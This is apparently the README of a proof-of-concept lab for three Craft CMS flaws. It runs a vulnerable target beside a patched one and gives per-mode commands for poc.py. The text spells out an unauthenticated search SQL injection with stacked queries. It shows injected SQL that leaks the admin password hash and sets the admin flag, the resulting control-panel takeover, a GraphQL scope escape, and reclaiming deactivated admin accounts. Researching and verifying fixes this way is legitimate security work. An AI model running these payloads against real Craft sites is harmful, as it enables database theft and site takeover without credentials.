
Python PoC lab for three Craft CMS flaws: unauthenticated search SQL injection with stacked queries to admin takeover, GraphQL scope escape, and deactivated-account reclaim.
Three vulnerabilities reported against the same Craft CMS release train
(4.x < 4.18.9 / 5.x < 5.11.2), built and verified against one lab:
one docker compose file runs a vulnerable target (craftcms/cms 4.18.8) and a
fixed control (4.18.9) side by side on MariaDB, and poc.py has a mode per
CVE. The primary bug is an unauthenticated SQL injection in element search:
send search as a PHP array, the attribute key lands raw in the query, and
MySQL/MariaDB's emulated prepares let stacked statements execute - read any
table, write any table, flip the admin flag on user ID 1 and take the site.
CVE-2026-115934 - unauthenticated SQLi via craft.search attribute (9.8).
Any route feeding request input into an element query search -
craft.entries().search(param('search')) in a search-result template is the
common case - hands every key of the search bracket-array to
SearchQuery::__construct() as default term options. Each parsed term is
stamped with those options, and Search::_sqlWhere() interpolates the
attribute value into the SQL with only a column-name quote. On MySQL/MariaDB
(PDO emulated prepares) the closed fragment executes as stacked statements.
Demonstrated end to end: time-based oracle, password-hash read, arbitrary
write, UPDATE users SET admin=1, control-panel login as the promoted user.
CVE-2026-124427 - GraphQL prev/next out-of-scope entry read (9.8).
prev/next are first-class fields with the full element-query argument set;
the resolved criteria flow into Element::_getRelativeElement() and the
eager-load path (Elements::eagerLoadElements()) without validation. 4.18.9
adds ElementHelper::cleanseQueryCriteria() to both paths (plus a
string check on search), so on 4.18.8 the neighbor query is built from
attacker-controlled, uncleaned criteria and the schema scope is not re-applied
to it. See the honesty note below on what this lab can and cannot show.
CVE-2026-124429 - public registration reclaims deactivated privileged
accounts (8.7). With public registration on, users/save-user resolves an
existing user by email with status(null) - deactivated users included - and
re-activates the account while setting the attacker-supplied password. A
deactivated admin's email is enough to take the account over; no credential or
email access needed. The advisory flags requireEmailVerification as the
condition; this lab verifies the flag does gate the flow (see control 14).
craft.entries().search(...) /
craft.app.search with raw request input. Any public search form.users.allowPublicRegistration),
plus at least one deactivated (inactive) privileged account. Verified:
with users.requireEmailVerification on, the same flow leaves the account
pending with no access - the flag is the real gate.Bring up the lab (first build runs composer twice, ~5 minutes):
docker compose up --build -d
docker compose ps
Vulnerable target on http://127.0.0.1:8081, fixed control on http://127.0.0.1:8082. Seeding (sections, entries, the attacker user, the deactivated admin, the scoped GraphQL schema + token, registration settings) runs automatically on first boot.
Run the PoC against the vulnerable target, then the control:
python3 poc.py --check-url --url http://127.0.0.1:8081 # print the request, send nothing
python3 poc.py --url http://127.0.0.1:8081 --mode check # time-based oracle (CVE-2026-115934)
python3 poc.py --url http://127.0.0.1:8081 --mode read # stacked read: admin password hash
python3 poc.py --url http://127.0.0.1:8081 --mode write # stacked write: arbitrary marker
python3 poc.py --url http://127.0.0.1:8081 --mode admin # admin flag + CP takeover
python3 poc.py --url http://127.0.0.1:8081 --mode graphql # CVE-2026-124427 scope contrast
python3 poc.py --url http://127.0.0.1:8081 --mode reclaim # CVE-2026-124429 account reclaim
python3 poc.py --url http://127.0.0.1:8081 --control-url http://127.0.0.1:8082 --mode all
Flags: --mode picks the CVE/step; --delay is the oracle sleep (default 3);
--prefix the DB table prefix (default craft); --user/--password the
seeded attacker account for admin; --token the seeded GraphQL token
(labpoc-token-0123456789abcdef); --control-url reruns the flow against the
patched target for the contrast.
Time-based oracle - 72s against the vulnerable target, 0.01s against the control (evidence/01, evidence/02):
[*] time-based oracle: sleep(3) stacked after the attribute
[+] 72.02s -> VULNERABLE
Stacked read - the admin's bcrypt hash rendered from a public page title (evidence/03):
[*] stacked write: update craft_content set title=(select password from craft_users where id=1) where elementId=2
[*] home page titles now: ['Second public post', '$2y$13$80KAxMjJR9ObmrNS7tej5OTaOZVmI9Ex/EzqJmHtMWMubA/EDlM..']
[+] leaked password hash $2y$13$80KAxMjJR9ObmrNS7tej5O... -> DB READ CONFIRMED
Admin takeover - flag set, read back through the same injection, control panel
login as the promoted user (evidence/07; db ground truth in evidence/13 shows
labattacker admin=1 on the vulnerable target and admin=0 on the control):
[*] stacked write: update craft_users set admin=1 where username='labattacker'
[*] home page titles now: ['Second public post', '1']
[+] admin flag read back via SQLi: True (1 = admin flag set)
[*] CP /admin/dashboard as labattacker: HTTP 200, <title>Dashboard - Lab Site</title>
[+] control panel accessible as the promoted user -> ADMIN TAKEOVER CONFIRMED
GraphQL scope contrast (evidence/09, evidence/10): the direct out-of-scope query returns an empty set on both targets, while the neighbor query with an out-of-scope section argument is processed by 4.18.8 and rejected by 4.18.9.
Account reclaim (evidence/11): registration with the deactivated admin's
email, control-panel login with the attacker-chosen password, dashboard 200.
Control evidence/14 shows the same flow with
requireEmailVerification=true: the account lands pending, login fails.